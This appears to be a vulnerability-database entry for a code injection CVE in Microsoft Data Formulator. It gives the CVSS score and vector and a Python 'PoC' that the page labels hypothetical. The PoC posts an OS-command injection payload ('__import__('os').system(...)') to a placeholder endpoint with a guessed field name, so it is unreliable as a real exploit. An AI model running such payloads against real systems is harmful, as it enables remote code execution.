Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Data Formulator (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a hypothetical PoC for CVE-2026-41094
# Due to the nature of Code Injection, the payload depends on the backend language (likely Python in Data Formulator)
import requests
target_url = "http://target-host:port/vulnerable-endpoint"
# Malicious payload designed to inject code execution
# Example: Attempting to execute a calc command or reverse shell
payload = {
"data_input": "__import__('os').system('calc.exe')"
# Or potentially a serialized object that triggers code gen
}
try:
response = requests.post(target_url, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"Error occurred: {e}")